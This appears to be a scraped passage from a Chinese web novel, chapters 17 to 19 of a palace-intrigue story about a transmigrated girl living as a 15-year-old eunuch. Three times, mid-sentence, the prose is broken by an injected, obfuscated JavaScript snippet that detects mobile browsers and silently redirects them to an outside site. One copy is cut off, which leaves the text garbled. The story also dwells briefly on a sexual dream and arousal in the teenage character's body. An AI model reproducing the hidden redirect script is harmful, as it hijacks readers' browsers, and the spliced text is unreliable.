脸颊上的热度还未退去,方才听到的那些声音,青黛突然出现带来的惊吓,以及她最后那意味不明的语气和眼神……所有一切都搅在一起,让他心乱如麻。 他回头,心有余悸地看了一眼那扇紧闭的窗户,又望了望青黛消失的方向。 这深宫,果然没有一刻是真正平静的。 * 关禧回到了自己那间小小的厢房。 他反手闩上门,背靠着木门板,环顾这间屋子,目光落在门后一个半旧的藤编篓子上。那是他来承华宫后,青黛让人一并送来的,用于存放待洗衣物。 每日清晨,会有负责浆洗的粗使太监统一来收取,洗净晾干后再送回来。 他默默走过去,将脏衣服团了团,塞进篓子里。动作间,指尖触碰到潮湿冰凉的布料,又像是被烫到般缩了回来。这具身体,这些衣物,连同这屋子里的一切,都在无时无刻不提醒着他荒诞的处境。 脱下来的那身旧衣裤,因为只是用湿布巾简单擦拭后换上,倒不算太脏,但沾了沐房地上的水渍和湿气。他犹豫了一下,还是将它们搭在了床尾的木架子上,准备明日自己用清水稍微搓洗一下。在宫中,哪怕是低等太监,保持最基本的整洁也是规矩,何况他现在身处承华宫,不知多少双眼睛在暗中盯着。 做完这些,他才觉得身上那阵黏腻不适稍微缓解,走到墙角的水缸边,用剩下的干净冷水胡乱抹了把脸。 吹熄了桌上那盏如豆的油灯,屋内彻底陷入黑暗。只有清冷的月光透过窗纸,在地上投下方方正正的一片惨白。 关禧躺在那张硬邦邦的木板床上,身下是薄薄的褥子,他睁着眼,望着头顶那片吞噬一切光线的浓黑,思绪不由自主地飘到了自己这具身体上。 小离子。十五岁。被王公公挑中,记了名,半割之身……一张足够惹祸的脸。 王公公那样的老狐狸,把他从净舍弄到派办处,再大方地让给冯昭仪,真的只是看他伶俐,有用吗?冯昭仪又为何会接受?她协理六宫,身边会缺一个整理文书的小太监?青黛那若有若无的打量和那句“排解寂寞”…… 一个被皇帝点名留意过的,半割的,容貌出众的小太监,就这样被送进了协理六宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892388|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭仪宫里。这背后,仅仅是冯昭仪需要一把好用的刀,或者青黛一时兴起的兴趣吗?会不会……也是一种更为隐晦的试探,或者布局?把他放在承华宫,是不是也在某种程度上,暂时隔断了他直接被皇帝召见的可能?冯昭仪是在……保护她自己的某种计划,还是把他当成了另一枚可以用于制衡或交易的棋子? 越想,越觉得寒意刺骨。他在这盘棋局里,连个卒子都算不上,顶多是棋盘边随时可能被拂落的灰尘。 还有这身体……十五岁。正是发育的年纪。虽然经历了去势重创,但半割的手术意味着某些功能并未完全丧失,只是被强行扭曲和压抑了。原主小离子或许因为贫病交加,发育迟缓,意识懵懂。可他关禧的灵魂住进来后,营养逐渐跟上,伤势好转,这具少年躯体本能的生机正在复苏。 今晚在沐房,吊梢眼那些下流话固然可恨,却像一根刺,扎破了他一直刻意回避的认知。窗后那些声音……对他这个十七岁,心理性别为女,却困在男性身体里的灵魂造成的冲击,是复杂的。恶心,羞耻,恐惧……但不可否认,那声音里生物性的悸动,似乎也隐隐勾动了这具身体深处某种陌生的本能。 他厌恶这种感觉,比厌恶这具身体本身更甚。 困意终于在纷乱思绪的间隙袭来,像潮水般淹没了他紧绷的神经。 意识逐渐模糊,沉入黑暗。 …… 混沌中,感官却变得敏锐起来。 鼻尖似乎萦绕着一种清雅的香气,像是冯昭仪书斋里的檀香,又混合了一丝女子身上特有的甜暖。视线里,有一只纤细白皙的手,指尖染着淡淡健康的粉色,正缓缓拂过书页,那指尖仿佛带着微弱的电流,所过之处,连空气都微微酥麻。 画面一转,是浴堂氤氲的水汽。汉白玉的池壁光滑冰凉,水面晃动着破碎的月光。有人影靠近,带着股混合着皂角与女子体香的气息。看不清脸,只有淡青色的衣角,在水汽中轻轻摇曳。一只手,带着温暖的湿意,抚上他的脖颈,指尖流连于锁骨凹陷处…… 呼吸不由自主地急促起来。 仿佛有什么东西,挣脱了束缚,在昏暗中悄然抬头…… “不……!” 关禧猛地从床上弹坐起来,心脏狂跳得像要炸开胸膛,额头上全是冷汗,他急促地喘息着,黑暗中,茫然又惊恐地低头看向自己的下身。 怎么会,怎么可以…… 这具身体竟然……对着那样的梦境,有了反应? 虽然早知半割意味着什么,虽然青黛的话里话外也暗示过,虽然今晚听到那些声音……可当这一切以如此直接,如此生理性的方式呈现出来时,关禧只觉得灵魂都被撕裂了。 他是关禧,是个女生,哪怕身体不是,灵魂也是,可现在这算什么?这具男性的身体,竟然会对另一个女性,哪怕是梦境中模糊的影子,产生这种下流的反应?! 恶心!太恶心了! 他掀开薄被,跳下床,甚至顾不上穿鞋,光着脚冲到墙角的水缸边,用冰冷的存水狠狠泼在自己脸上,脖子上。冰凉的温度刺激着皮肤,却丝毫无法浇灭心底那团灼烧的火焰和翻涌的恶心感。 他撑着缸沿,低下头,剧烈地干呕起来。 为什么……为什么要让他遭遇这一切?穿越成太监还不够,还要承受这种灵魂与身体极端错位的酷刑? 不知过了多久,颤抖才稍稍平息。 他脱力地靠着墙壁滑坐在地上,眼神空洞地望着地面那片模糊的月光。 下身那恼人的反应,在冷水和情绪冲击下,终于缓缓消退,留下一种空虚的钝痛。 他抬起手,看着自己这双属于小离子骨节分明的手,第一次如此清晰地认识到:逃离这具身体,或许比逃离这座皇宫更难。 18. 第 18 章 晨光熹微,尚未穿透承华宫精致的窗棂,一阵急促的脚步声便在廊下响起,打破了黎明前最后的寂静。 关禧几乎一夜未眠,眼底带着淡淡的青黑,正对着水盆里模糊的倒影,将最后一丝纷乱的鬓发抿入帽中,也努力将注意力集中在今日可能要处理的文书上,青黛昨日吩咐了,要找出陛下万寿节相关的旧例。 可门外不同寻常的动静让他动作一顿。 是陈立德尖细的嗓音,压得极低:“青黛姑娘。出事了,长春宫那边,李婕妤被人告发了。” “吱呀”一声,似乎是青黛的房门被迅速拉开。 关禧的心猛地一跳。长春宫,那个在炭火记录中份例都领不足,畏烟体弱的李婕妤?那个被冯昭仪特意嘱咐要留意用度记录的长春宫? “仔细说,慌什么。”青黛的声音响起,比陈立德平稳得多。 “是皇后娘娘身边的海棠姑姑,天还没亮透就带着人直奔了长春宫,说是……说是接到了密告,李婕妤秽乱宫闱,与侍卫私通!”陈立德的声音抖得厉害,不知是怕还是激动,“人……人据说当场就按住了!那侍卫被打得半死拖去了慎刑司,李婕妤被拘在长春宫正殿,皇后娘娘已经动身过去了,传了协理宫务的娘娘……咱们娘娘得立刻过去!” 私通! 这两个字像惊雷一样在关禧耳边炸开。昨晚那扇窗户后令他面红耳赤又心惊胆战的声响,与此刻陈立德口中这血淋淋的宫廷重罪重叠。只是昨夜那或许是底层宫人无奈而隐秘的慰藉,今日这,却是足以让一位妃嫔,哪怕是最不得宠的妃嫔,万劫不复的滔天大祸。 他下意识地屏住呼吸,耳朵紧紧贴在门板上。 外面静默了一瞬,只有陈立德粗重的喘息。然后,青黛的声音再度响起,恢复了那种滴水不漏的平静:“知道了。你且去准备娘娘的舆驾,要快,但不可张扬。我这就去禀报娘娘。” 脚步声匆匆离去。 关禧退后两步,心脏在胸腔里擂鼓。李婕妤私通被告发……是确有其事,还是构陷?冯昭仪之前让他留意长春宫的用度,是否早就察觉了什么?皇后亲自出手,协理宫务的妃嫔都要到场…… 他该做什么?青黛没有叫他,他只能在这里等着。冯昭仪会带谁去?青黛必然随行,陈立德估计也要跟着伺候……那他呢?这种场合,以他的身份,恐怕连靠近长春宫正殿的资格都没有。 果然,没过多久,青黛的脚步声停在了他的门外,轻轻叩了两下。 关禧立刻打开门,垂首肃立:“青黛姐姐。” 青黛已经换上了一身更为庄重的靛青色宫装,头发梳得一丝不苟,脸上薄施脂粉,遮掩了可能因早起而有的些许疲惫,她快速打量了关禧一眼,见他虽眼底有些青影,但衣着整齐,神色尚算镇定,便言简意赅地吩咐:“娘娘要去长春宫。你跟着,守在殿外廊下候着,机灵些,留意来往人等,但切记,不准听,不准问,不准多看一眼。若有吩咐,自会有人传你。” “是,奴才明白。”关禧压下心中翻腾的念头,恭敬应道。 冯媛很快便出来了。她今日的打扮与去御花园时截然不同,穿着一身雨过天青色缂丝宫装,外罩同色比甲,头上挽着端庄的牡丹髻,正中插一支赤金点翠凤凰衔珠步摇,两侧各簪一朵新鲜的淡紫色兰草,耳垂上坠着东海珍珠,通身气度沉静雍容,她扶住青黛伸过来的手,并未多看关禧一眼,只道:“走吧。” 陈立德早已备好了一顶四人抬的便轿,轿帘是厚重的深青色,遮得严严实实。冯媛上了轿,青黛随行在侧,陈立德在前引路,关禧和另外两个抬着备用物品的小太监默默跟在最后。 天色尚未大亮,晨雾如纱,弥漫在重重宫阙之间。宫道两侧高耸的朱墙被雾气濡湿,颜色显得愈发暗沉压抑。路上寂静得可怕,只有轿夫轻微而规律的脚步声和轿杆吱呀的轻响,偶尔遇到其他方向匆匆赶去的舆驾或步行疾走的宫人,彼此也只是极快地对视一眼,便迅速错开,无人交谈,空气中弥漫着一股山雨欲来的沉闷。 越靠近长春宫,这种压抑感就越发浓重。长春宫位置本就偏僻,此时宫门内外却站满了穿着不同服色、来自各宫各司的太监和宫女,以及一队队腰佩刀剑,神情肃穆的侍卫。所有人都敛声屏气,连呼吸都放得极轻。 冯媛的轿子在宫门外停下。她扶着青黛的手下了轿,陈立德立刻上前向守门的皇后宫中太监通报。 那太监显然认得冯媛,躬身行礼后,侧身让开一条道,低声道:“昭仪娘娘请,皇后娘娘和其他几位娘娘已在正殿了。” 冯媛微微颔首,步履沉稳地走了进去。青黛紧随其后。 陈立德对关禧和另外两个小太监使了个眼色,三人立刻乖觉地退到宫门侧方一处不引人注目的廊檐下,垂首肃立。这里离正殿尚有数十步距离,中间隔着庭院和几道回廊,只能隐约看到正殿紧闭的雕花大门,以及门两侧站立的宫女太监。 关禧低着头,目光却谨慎地扫视着周围。长春宫的庭院比承华宫小了许多,也朴素得多,草木也少了精心打理,显得有些萧条。此刻,院子里站满了人,除了皇后和几位高位妃嫔带来的随从,还有长春宫原有的宫人,他们个个面如土色,跪在院子角落,身体抖得像风中的落叶。 空气中,除了清晨的湿冷,还隐隐飘来一丝若有若无的,甜腻过了头的脂粉香气,以及……另一种更沉,更浊,像是陈旧木头混合着灰尘的味道。 等待的时间格外漫长。关禧能听到自己心脏在胸腔里沉闷的跳动声。正殿内隐约有说话声传来,听不真切,但偶尔拔高的女声尖锐地刺破寂静,又迅速被压低下去。那应该是皇后在问话,或者是……哪位激动的妃嫔? 他看到了徐昭容的步辇也停在了外面,徐宛白被宫女搀扶着,昂着头,快步走了进去。她也来了……以她爱看热闹又唯恐天下不乱的性子,自然不会错过。 不知过了多久,正殿的门“吱呀”一声开了。 先出来的是两个穿着赭色太监服,身材高大的太监,面无表情,一左一右架着一个穿着低级侍卫服饰,浑身是血,几乎不成人形的男子。那男子的头无力地垂着,双手被反剪绑在身后,衣袍破碎,裸露的皮肤上布满鞭痕和污渍,被拖行过处,在清扫过的青石板上留下几道暗红的,断续的痕迹。他被粗暴地拖向宫外,方向显然是慎刑司。 围观的宫人们纷纷低下头,不敢直视。 紧接着,几个皇后宫中的嬷嬷和太监,半扶半拖着一个女子走了出来。 那女子穿着藕荷色的宫装,头发散乱,簪环尽去,脸上脂粉被泪水冲花,露出底下过分苍白憔悴的皮肤。她似乎想挣扎,嘴唇翕动着,却发不出完整的声音,只有喉咙里破碎的呜咽。正是李婕妤。与关禧想象中不同,她不是什么绝色美人,甚至算不得多秀丽,只是眉眼间依稀能看出几分曾经的温婉。 她被带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892389|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往与那侍卫相反的方向,那是冷宫,或者更糟的地方。 李婕妤被拖过庭院时,目光涣散地扫过跪在地上的长春宫宫人,扫过周围那些或麻木,或怜悯,或幸灾乐祸的脸。忽然,她的视线定在了正殿门口某个方向,瞳孔骤缩,像是看到了什么极端可怖的东西,喉咙里发出一声凄厉的尖叫:“是你——!徐宛白!你不得好——” “啪!” 一声清脆的耳光打断了她未完的诅咒。一个皇后身边的嬷嬷眼疾手快,狠狠一巴掌扇在她脸上,力道之大,让李婕妤的头猛地偏向一边,嘴角立刻渗出血丝,人也彻底瘫软下去,被迅速拖走。 那声戛然而止的尖叫,像冰冷的刀子,划过每个人的耳膜。 关禧感到一股寒意从脊椎骨窜起。徐宛白?李婕妤最后喊的是徐宛白,是徐昭容告发了她?还是……李婕妤在绝望下的胡乱攀咬? 正殿内,地位最高的几位终于现身了。 率先走出的是一位身着明黄色凤穿牡丹宫装,头戴九龙九凤冠的女人。她约莫二十三四岁年纪,容貌端庄大气,只是脸色有些过于苍白,唇色也淡,眼底有淡淡的倦色。 正是皇后,柳氏,柳心溪。 紧随柳心溪之后的是冯媛。她神色平静,仿佛刚才殿内发生的一切都与她无关,只是细心地稍稍落后皇后半步,保持着恰到好处的恭敬。 接着是徐宛白。她脸上犹带着一丝未能完全掩饰的得意和畅快,眼波流转间,有意无意地扫过冯媛沉静的侧脸,又飞快地瞥了一眼李婕妤被拖走的方向,嘴角勾起一抹冰冷的弧度。 还有其他位份较高的妃嫔,面色各异,或凝重,或漠然,或带着兔死狐悲的隐忧。 柳心溪在殿前台阶上站定,目光缓缓扫过庭院中跪伏的众人,声音不高,却带着不容置疑的威严,清晰地传入每个人耳中:“婕妤李氏,德行有亏,秽乱宫闱,证据确凿。即日起,褫夺封号,废为庶人,打入冷宫,非诏不得出。长春宫一应宫人,疏于职守,监管不力,全部发配浣衣局或苦役司,以儆效尤。此事,乃后宫之耻,望尔等引以为戒,谨守本分,恪守宫规。若再有此等败德丧行之事,严惩不贷。” 说完,她不再停留,扶着身边大宫女的手,上了自己的凤辇。 冯媛等人亦各自行礼,登上步辇或便轿,准备离开。 关禧低着头,随着陈立德的示意,准备跟上冯媛的轿子。就在他转身的刹那,眼角的余光似乎瞥见,徐宛白在上轿前,又回头望了一眼长春宫那扇已然变得死寂的宫门,脸上那抹冰冷的笑意更深了些。而跟在她身后,眉眼间带着几分傲气的大宫女,飞快地与跪在角落里的一个长春宫宫女交换了一个眼神。 那眼神快得如同错觉。 冯媛的轿子起行了。关禧迈着有些僵硬的步子跟上。 轿帘低垂,隔绝了外界。冯媛靠在轿中柔软的垫子上,闭着眼,指尖无意识地在袖中一枚温润的羊脂玉佩上轻轻摩挲。青黛随行在轿侧,目不斜视。 直到轿子走出很远,冯媛才缓缓睁开眼,眸中一片清明冷静,全无半分在长春宫时的疏离倦怠。她对着轿帘外,用只有近处青黛能听到的声音吩咐: “去查查,李婕妤身边那个叫春杏的宫女,家里最近是不是突然宽裕了。还有,徐昭容宫里这两个月,有没有新添什么……手脚特别灵便的洒扫太监。” 青黛极轻微地点了一下头:“是,娘娘。” 19.第 19 章 夜深了,承华宫主殿的寝宫深处,比外间更显幽静。重重纱幔低垂,滤去了外界最后一点喧嚣,只余下烛火在鎏金灯台上静谧燃烧时,偶尔发出的轻微哔剥声。 寝殿侧后的浴堂,此刻被温暖湿润的水汽充盈。一方以整块汉白玉凿成的浴池,四壁浮雕着精致的莲叶游鱼图案,池沿宽阔。热气袅袅,从微烫的池水中蒸腾而上,将空气染上朦胧的暖意,也混合了池中特意洒入清雅安神的柏子与梅花混合的干花香料气味,馥郁而不甜腻。 冯媛已然褪去了白日那身庄重的雨过天青色宫装,只着一件素白柔软的绸缎浴袍,长发如瀑般松散下来,披在身后。她赤足站在池边铺着的柔软吸水的棉毯上,任由青黛为她解开浴袍系带。 青黛的动作熟练,淡青色的宫女比甲早已脱下,只穿着便于动作的浅色中衣,袖口挽至肘部,露出一截莹白如玉的小臂。她神色专注,眉眼低垂,长长的睫毛在氤氲水汽中沾染了细微的湿意,愈发显得乌黑浓密。 “娘娘,水温可还合适?”青黛试了试水温,轻声问道。 “嗯,正好。”冯媛应了一声,扶着青黛稳稳递过来的手,缓缓步入池中。温热的水流逐渐漫过脚踝,小腿,腰际,最终包裹至肩颈。她舒适地喟叹一声,向后靠坐在池壁特意打磨圆滑的凹陷处,闭上眼,任由连日来的疲惫和今日长春宫带来的沉郁气息,都在这一池温水中缓缓溶解。 青黛也褪去鞋袜,仅着中衣踏入池中一侧稍浅处,拿起一块细软的棉布巾,浸湿了,动作轻柔地为冯媛擦拭肩背。她的手指力道适中,隔着湿热的布巾,能感受到冯媛肩颈处因为长时间端坐或思虑而微微僵硬的肌肉。 浴堂内一时只闻水波轻漾的声响。 良久,冯媛才睁开眼,眸中映着摇曳的烛光和水汽,显得比平日更柔和,也更深邃,“今日之事,你怎么看?” 青黛手上动作未停,声音平稳:“李婕妤咎由自取,证据确凿,皇后娘娘处置得宜。”她略顿了顿,“只是……那声徐宛白,喊得蹊跷。” “是啊,蹊跷。”冯媛抬手,撩起一捧温水,看着晶莹的水珠从指缝间滑落,重新汇入池中,“李氏胆小怯懦,若非被逼到绝境,或是恨极了,断不敢在那种场合直呼徐昭容名讳,还口出诅咒。” “奴婢已着人暗中去查春杏和玉芙宫新进的洒扫太监了。”青黛低声道,“只是徐昭容行事向来张扬,若真是她……怕是尾巴也扫得干净。” “无妨。”冯媛淡淡一笑,那笑意未达眼底,“她越是想扫干净,有时反而会留下更清晰的痕迹。不急,慢慢看。” 话题似乎告一段落。青黛换了块布巾,开始为冯媛清洗长发。她将冯媛浓密乌黑的长发拢在掌心,指尖蘸了散发着淡淡兰草清香的澡豆膏子,细细揉搓。动作间,两人靠得极近,水汽模糊了界限,唯有亲密在无声流淌。 冯媛重新闭上眼,享受着青黛妥帖的服侍。又过了一会儿,她忽然开口,语气随意得像是在讨论池边香炉里该换什么香: “青黛,你似乎对那个新来的小离子,颇为上心?” 青黛揉搓发丝的手指几不可察地微微一顿,随即又恢复如常,力道均匀。她没有立刻回答,仔细地将冯媛长发上的泡沫冲洗干净,用干布巾包好吸去多余水分,这才轻声应道:“娘娘说笑了。奴婢只是见他办事还算细致,记性也好,在文书上能帮衬一二。况且……他是王公公送来的人,奴婢多留意些,也是分内之事。” 冯媛唇角勾起一抹极淡的弧度,像是看穿了什么,又像只是随口一提:“只是这样?我瞧着他模样生得,确实过于出挑了些。王元宝那老货,当初挑中他,打的什么主意,你我都清楚。他能这么大方把人送来,除了你几次三番在我面前说他堪用,恐怕也存了别的心思。” 青黛沉默了片刻,拿起一旁温着的,用茉莉花和茶籽浸泡过的清水,缓缓淋在冯媛发尾。水声潺潺,氤氲的热气模糊了她低垂的眉眼。 “奴婢确实觉得他有些不同。不止是皮相。他眼里有股劲儿,不是寻常小太监那种认命或谄媚的劲儿,倒像像石缝里拼命想往外钻的草芽子,看着弱,根却扎得死紧。而且,他识字,懂数,心思细得不像这个年纪该有的。” “哦?评价这么高?”冯媛偏头,水光映照下,侧脸线条优美柔和,眼神带着一丝探究,“所以,你就借着核对文书的由头,把人要了过来?还是说……我们青黛姐姐,在这深宫寂寂长夜里,也终于想找个模样顺眼、心思灵巧的人,说说话,解解闷?” 这话已带上了明显的调侃,也透着一丝认真的询问。她们主仆多年,相伴从潜邸到深宫,经历了不知多少风浪,彼此之间早超越了简单的主仆情分。有些话,旁人问不得,冯媛却问得自然。 青黛的脸颊在蒸腾热气中,泛起了些许红晕,不知是热的,还是别的缘故。她停下手中动作,抬眼看向冯媛,难得显出一丝赧然,但很快又恢复了平素的沉稳,声音低柔: “娘娘,奴婢承认,是存了点私心。他长得确实好。但奴婢更看重他那份不甘和灵性。这宫里,多的是浑浑噩噩或汲汲营营之人,像他这样的,少见。放在眼皮子底下,用得好,或许真是一把得力的刀子;用不好,或起了别的心思……也翻不出什么浪来。” 她顿了顿,补充道:“至于王公公那边,他既把人送来了,短期内应不会再生事端。况且,人在承华宫,怎么用,用不用,何时用,还不是娘娘说了算?总比放在外面,不知何时就被推到了御前,平白惹出麻烦要强。” 冯媛静静地听着,末了,轻轻“嗯”了一声,不置可否,重新靠回池壁,闭上眼,沉浸在了温热池水带来的舒适中。 就在青黛以为这个话题已经结束时,冯媛的声音又淡淡响起,带着一丝几不可闻的叹息:“青黛,你跟了我这些年,最是清楚这宫里的日子。有些念头,起了便起了,无妨。只是……要拿捏好分寸。莫要伤了自己,也别……误了正事。” 这话说得含蓄,却重若千钧。既是提醒,也是默许,更是一种保护。 青黛深深低下头:“奴婢明白。谢娘娘体恤。” 冯媛不再言语,只抬手示意了一下肩膀。青黛会意,重新拿起布巾,力道适中地为她按摩肩颈。 浴堂内重归宁静。 至于那个被她们谈论的关禧,此刻正独自待在他那间清冷的小屋里,桌上摊开着一张不知从哪个废弃书斋角落里翻出来的,边缘有些破损的棋盘,格子刻得深浅不一。旁边两个粗糙的陶碗,一个里面盛着白子,是些颜色灰白,形状不规则的碎石片磨的;另一个里面是黑子,看起来像是某种深色陶土烧制后敲碎的,大小也不均匀。 这是白天他去书斋后面的库房,帮着青黛找一批旧年礼单时,在角落落满灰尘的箱笼里瞥见的。大约是前朝哪位不得志的太监或宫女遗下的消遣玩意儿,早已无人问津。鬼使神差地,他当时就悄悄揣了回来。 围棋?他不会。他一个十七岁的高中生,课余时间被试卷和习题塞满,顶多看过几眼电视上的围棋比赛,认得那是黑子白子,晓得气和眼的大概意思,真要下,规则都摸不全。 可他会下五子棋。 那是他高中课间,和同桌女生偷偷在草稿纸网格上画的,用不同的笔迹代表黑白,简单,直接,连成五子就算赢,有时候自习课太闷,她们能低头厮杀好几盘,输了的请喝奶茶。 灯光如豆,昏黄地照亮棋盘一角。关禧拿起一粒粗糙的黑子,在纵横十九道的棋盘上,犹豫了一下,落在了正中央的天元位。纯粹是觉得,下五子棋,先手占中间好像比较有利。 然后他换到对面坐下,拿起一粒白子,放在黑子斜上方一步。自己跟自己下。 落子的声音很轻,“嗒”、“嗒”,在寂静的夜里格外清晰。他的手指捻着那些粗砺的棋子,触感陌生。没有光滑的塑料棋子,没有画满网格的草稿纸,没有同桌压低声音的抱怨和偷偷张望教室后门的紧张。 有的是冰冷的石片,陶土渣,一盏随时可能油尽灯枯的油灯,和窗外无边无际的宫墙暗影。 “四三……这里应该冲一下……”他喃喃自语,用的是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而不是像现在这样,抱着一本残缺不全,语焉不详的《晟朝宫苑录》,在故纸堆里大海捞针,连这个朝代是不是他历史书上任何一个朝代的变体都搞不清楚。 “爹的……”他捏着一粒黑子,悬在棋盘上方,迟迟没有落下,低声骂了一句,“连个WIFI都没有……不,连电都没有……阿尔法狗来了这儿都得抓瞎。” 他闭上眼,用力揉了揉发胀的太阳穴。再睁开时,目光重新聚焦在棋盘上。自己跟自己下五子棋,还下得这么投入,真是够无聊的。可这是他现在唯一能抓住的、一点点像“思考游戏”的东西,能让他暂时逃离这具身体,这个身份,这座牢笼。 黑子落下,封住了白棋一个潜在的四三。他换到对面,拿起白子,试图寻找突围。 “要是能有个计算器也好啊……”他继续自言自语,声音干涩,“或者有本《五年高考三年模拟》……爹的,我现在居然觉得写数学卷子都是幸福的……” 至少那些题目有答案,有逻辑,有终点。而他现在面对的,是一盘没有规则说明书,对手不明,甚至连自己是什么棋子都搞不清的生死棋局。 冯昭仪是执棋人吗?青黛是另一枚棋子,还是观棋者?徐昭容咄咄逼人,皇后疲于应付,皇帝……那个影子般存在却决定所有人命运的皇帝,他到底在想什么?李婕妤的倒台,真的只是私通那么简单?那声未尽的“徐宛白”,到底藏着多少隐情? 而他,关禧,或者说小离子,在这盘棋里,到底是被用来兑子的卒,还是等待被将军的帅旁边那个可有可无的士?或者,他连棋盘上的子都不是,只是棋盘旁边一颗碍事的灰尘,随时可能被吹落。 白子落下,看似无意,却隐隐形成了另一个方向的连接。关禧盯着棋盘,忽然觉得这纵横交错的格子,像极了这重重宫阙,每一条线都是规矩,每一个交点都是一个位置,或囚牢。黑子与白子纠缠厮杀,都想把对方逼入绝境,连成自己的五子一线。 就像这后宫里的每个人,都在试图用自己的方式,连成那条通往权力,安全,或者仅仅是活下去的线。 他拿起一粒黑子“啪”一声,落在了一个看似无关紧要的位置,却恰好同时破坏了白棋两个潜在的好形。 “不能只想着自己那条线,”他低声说,像是告诫自己,“还得看着别人怎么连……堵别人的路,有时候就是给自己开路。”